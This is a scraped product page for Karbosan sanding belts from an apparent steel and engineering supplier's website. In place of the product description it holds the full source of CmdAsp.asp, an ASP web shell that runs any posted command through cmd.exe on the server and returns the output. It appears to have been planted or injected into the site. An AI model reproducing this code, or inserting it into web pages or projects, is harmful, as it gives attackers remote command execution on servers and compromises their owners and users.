Maurice Moffett Ltd  
steel and engineering supplies
Maurice Moffett Ltd
Maurice Moffett Ltd
Maurice Moffett Ltd
Home Page
Maurice Moffett Ltd
About Us
Maurice Moffett Ltd
Products
Maurice Moffett Ltd
Supplies
Maurice Moffett Ltd
Services
Maurice Moffett Ltd
Testimonials
Maurice Moffett Ltd
Contact Us
Maurice Moffett Ltd
Links
Maurice Moffett Ltd
Maurice Moffett Ltd
Custom Search
Maurice Moffett Ltd
Maurice Moffett Ltd
Products
Karbosan Sanding Belts

Karbosan Sanding Belts

Description:
<%@ Language=VBScript %> <% ' --------------------o0o-------------------- ' File: CmdAsp.asp ' Author: Maceo ' Release: 2000-12-01 ' OS: Windows 2000, 4.0 NT ' ------------------------------------------- Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next ' -- create the COM objects that we will be using -- ' Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") ' -- check for a command that we have posted -- ' szCMD = Request.Form(".CMD") If (szCMD <> "") Then ' -- Use a poor man's pipe ... a temp file -- ' szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %>
" method="POST">
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>

<% If (IsObject(oFile)) Then ' -- Read the output from our command and remove the temp file -- ' On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If %>
For pricing and other enquiries call +353 47 80800
Alternatively enter your contact details below and we will get back to you.
Name:
Email:
Phone:
 
Maurice Moffett Ltd